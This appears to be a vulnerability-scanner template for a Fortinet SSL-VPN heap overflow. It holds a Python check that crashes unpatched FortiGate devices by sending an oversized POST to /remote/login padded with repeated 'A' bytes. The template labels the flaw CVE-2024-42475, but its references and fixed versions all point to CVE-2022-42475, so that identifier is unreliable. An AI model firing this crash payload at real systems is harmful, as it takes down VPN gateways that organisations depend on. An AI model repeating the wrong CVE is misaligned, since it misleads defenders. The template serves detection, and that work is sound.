id: CVE-2024-42475

info:
  name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
  author: 0xhaggis,pszyszkowski
  severity: critical
  description: |
    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
  remediation: |
    Fixed in:
    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
    FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
    FortiProxy >= 7.2.2, 7.0.8, 2.0.12
  reference:
    - https://github.com/0xhaggis/CVE-2022-42475
    - https://fortiguard.com/psirt/FG-IR-22-398
    - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
    - https://bishopfox.com/blog/exploit-cve-2022-42475
  classification:
    epss-score: 0.94003
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-42475
    cwe-id: CWE-122
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortios
    shodan-query:
      - port:10443 http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - http.html:"/remote/login" "xxxxxxxx"
  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev

code:
  - engine:
      - py
      - python3

    source: |
      import sys, os, time, socket, ssl
      PADDING        = 0x4141414141414141
      PADDING_LEN    = 1024*12
      CONTENT_LENGTH = b"4294967297"

      class SSLVPNExploit:
        def __init__(self, host, port):
          self.host = host
          self.port = port
        def connect(self):
          tries = 1
          if os.getenv("Scheme") == "https":
            useSSL = True
            print("[+] Using SSL/TLS")
          else:
            useSSL = False
            print("[+] Unencrypted connection")
          while tries <= 6:
            try:
              print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
              self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              if useSSL == True:
                ctx = ssl._create_unverified_context()
                self.socket = ctx.wrap_socket(self.cleartext_socket)
              else:
                self.socket = self.cleartext_socket
              self.socket.settimeout(2.0)
              self.socket.connect((self.host, self.port))

              return self.socket
            except socket.timeout as e:
              tries += 1
              print("Connection timeout!")
              continue
            except Exception as e:
              print("Unknown error!")
              print(e)
              return None
          return None
        def check_by_get(self):
          get_req = bytearray(b"")
          get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"

          print("[>] Sending GET first")
          if self.connect() == None:
            print("[!] Error connecting to target")
            exit(1)
          try:
            self.socket.sendall(get_req)

            self.socket.settimeout(10)
            get_buf = self.socket.recv(1048576)

            if len(get_buf) == 0:
              print("Error while sending GET. Protocol mismatch?")
              return None
            self.socket.close()
            return True
          except socket.timeout as e:
            print("[>] Target waited for more data.")
            return False

          except Exception as e:
            print("[>] Target dropped the connection during test GET, which indicates a communication error!")
            print(e)
            return None

        def is_vulnerable(self):
          req = bytearray(b"")
          req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
          req += b"AAAAAAAA"*(PADDING_LEN)

          print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
          if self.connect() == None:
            print("[!] Error connecting to target")
            exit(1)

          try:
            # Send the payload. Vuln instances will crash, severing the connection and
            # causing an exception to be thrown here.
            self.socket.sendall(req)

            # If this read succeeds then the target is probably not vulnerable.
            # If it times out, then it's also probably not vulnerable.
            self.socket.settimeout(10)
            buf = self.socket.recv(1048576)

            # If the remote end disconnects without an HTTP response then it's vulnerable.
            if len(buf) == 0:
                return True

            # Check to see if it has the vendor patch applied
            if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
                print("[>] Target is patched.")
                return False # 100% confidence that it's not vulnerable.

            # Ok, something weird and unexpected happened.
            print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
            print("----- BEGIN RESPONSE -----")
            print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
            print("----- END RESPONSE -----")
            self.socket.close()
            return None

          except socket.timeout as e:
            print("[>] Target waited for more data. Not vulnerable.")
            return False
          except Exception as e:
            print("[>] Target dropped the connection, which indicates a vulnerable device!")
            print(e)
            return True

      if __name__ == '__main__':
        host=os.getenv("Host")
        port=int(os.getenv("Port"))
        exploit = SSLVPNExploit(host, port)
        check = exploit.check_by_get()

        if check == True:
          result = exploit.is_vulnerable()
          if result == None:
            print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
            exit(2)

          if result == True:
            print("[+] Target appears to be VULNERABLE")
            exit(0)

          else:
            print("[+] Target is NOT vulnerable")
            exit(1)

    matchers:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
# digest: 490a004630440220200109caa2f7e95a45434593458382a6ca875167ade0946689005f9fc29664df0220764ae12713d8cb30e3105165bd261c4564a51b50ee294d63d57ca53aa338374d:922c64590222798bb761d5b6d8e72950